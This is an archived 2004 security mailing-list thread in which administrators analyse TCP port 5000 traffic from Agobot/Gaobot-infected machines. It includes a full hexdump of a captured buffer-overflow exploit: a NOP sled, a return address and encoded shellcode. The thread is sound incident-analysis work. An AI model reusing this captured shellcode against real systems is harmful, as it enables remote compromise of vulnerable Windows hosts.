From: Mike Barushok (barushokkeycreations.com)
Date: Mon May 17 2004 - 17:14:40 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Exactly identical to the capture posted at:
 http://www.linklogger.com/TCP5000_Overflow.htm

(That page has title: 'SQL Slammer Capture').

On Mon, 17 May 2004, Noel Cuillandre wrote:

> It's a buffer overflow attack on the plug and play service on TCP port
> 5000.
> The hexdump corresponds to a SQLSlammer's like worm.
>
> Noel Cuillandre
>
> Paul Schmehl a écrit :
>
> >----- Original Message -----
> >From: "ANDREW STREULE" <brother_wolfbtopenworld.com>
> >To: <incidentssecurityfocus.com>
> >Sent: Monday, May 17, 2004 2:24 PM
> >Subject: Re: TCP port 5000 syn increasing
> >
> >
> >
> >
> >>on my honeypot a port 5000 event is almost always
> >>followed by 1 or 2 nbt smb events.
> >>
> >>
> >>
> >Here's a hexdump of what I'm seeing on 5000. The ones I'm seeing are coming
> >from boxes infected with Agobot/Gaobot and not just 81.x.x.x.
> >
> >00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >000000F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000100 90 90 90 90 90 90 90 90 90 90 90 90 4D 3F E3 77 ............M?.w
> >00000110 90 90 90 90 FF 63 64 90 90 90 90 90 90 90 90 90 .....cd.........
> >00000120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> >00000130 90 90 90 90 90 90 90 90 EB 10 5A 4A 33 C9 66 B9 ..........ZJ3.f.
> >00000140 66 01 80 34 0A 99 E2 FA EB 05 E8 EB FF FF FF 70 f..4...........p
> >00000150 99 98 99 99 C3 21 95 69 64 E6 12 99 12 E9 85 34 .....!.id......4
> >00000160 12 D9 91 12 41 12 EA A5 9A 6A 12 EF E1 9A 6A 12 ....A....j....j.
> >00000170 E7 B9 9A 62 12 D7 8D AA 74 CF CE C8 12 A6 9A 62 ...b....t......b
> >00000180 12 6B F3 97 C0 6A 3F ED 91 C0 C6 1A 5E 9D DC 7B .k...j?.....^..{
> >00000190 70 C0 C6 C7 12 54 12 DF BD 9A 5A 48 78 9A 58 AA p....T....ZHx.X.
> >000001A0 50 FF 12 91 12 DF 85 9A 5A 58 78 9B 9A 58 12 99 P.......ZXx..X..
> >000001B0 9A 5A 12 63 12 6E 1A 5F 97 12 49 F3 9A C0 71 E5 .Z.c.n._..I...q.
> >000001C0 99 99 99 1A 5F 94 CB CF 66 CE 65 C3 12 41 F3 9D ...._...f.e..A..
> >000001D0 C0 71 F0 99 99 99 C9 C9 C9 C9 F3 98 F3 9B 66 CE .q............f.
> >000001E0 69 12 41 5E 9E 9B 99 9E 24 AA 59 10 DE 9D F3 89 i.A^....$.Y.....
> >000001F0 CE CA 66 CE 6D F3 98 CA 66 CE 61 C9 C9 CA 66 CE ..f.m...f.a...f.
> >00000200 65 1A 75 DD 12 6D AA 42 F3 89 C0 10 85 17 7B 62 e.u..m.B......{b
> >00000210 10 DF A1 10 DF A5 10 DF D9 5E DF B5 98 98 99 99 .........^......
> >00000220 14 DE 89 C9 CF CA CA CA F3 98 CA CA 5E DE A5 FA ............^...
> >00000230 F4 FD 99 14 DE A5 C9 CA 66 CE 7D C9 66 CE 71 AA ........f.}.f.q.
> >00000240 59 35 1C 59 EC 60 C8 CB CF CA 66 4B C3 C0 32 7B Y5.Y.`....fK..2{
> >00000250 77 AA 59 5A 71 62 67 66 66 DE FC ED C9 EB F6 FA w.YZqbgff.......
> >00000260 D8 FD FD EB FC EA EA 99 DA EB FC F8 ED FC C9 EB ................
> >00000270 F6 FA FC EA EA D8 99 DC E1 F0 ED C9 EB F6 FA FC ................
> >00000280 EA EA 99 D5 F6 F8 FD D5 F0 FB EB F8 EB E0 D8 99 ................
> >00000290 EE EA AB C6 AA AB 99 CE CA D8 CA F6 FA F2 FC ED ................
> >000002A0 D8 99 FB F0 F7 FD 99 F5 F0 EA ED FC F7 99 F8 FA ................
> >000002B0 FA FC E9 ED 99 0D 0A 0D 0A .........
> >
> >Paul Schmehl (paulsutdallas.edu)
> >Adjunct Information Security Officer
> >The University of Texas at Dallas
> >AVIEN Founding Member
> >http://www.utdallas.edu/~pauls/
> >
> >
> >---------------------------------------------------------------------------
> >----------------------------------------------------------------------------
> >
> >
> >
> >
>
>
> ---------------------------------------------------------------------------
> ----------------------------------------------------------------------------
>

--

Mike Barushok
Senior Security Administrator
KeyCreations.com/KCISP.net/ispKansas.com

---------------------------------------------------------------------------
----------------------------------------------------------------------------

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]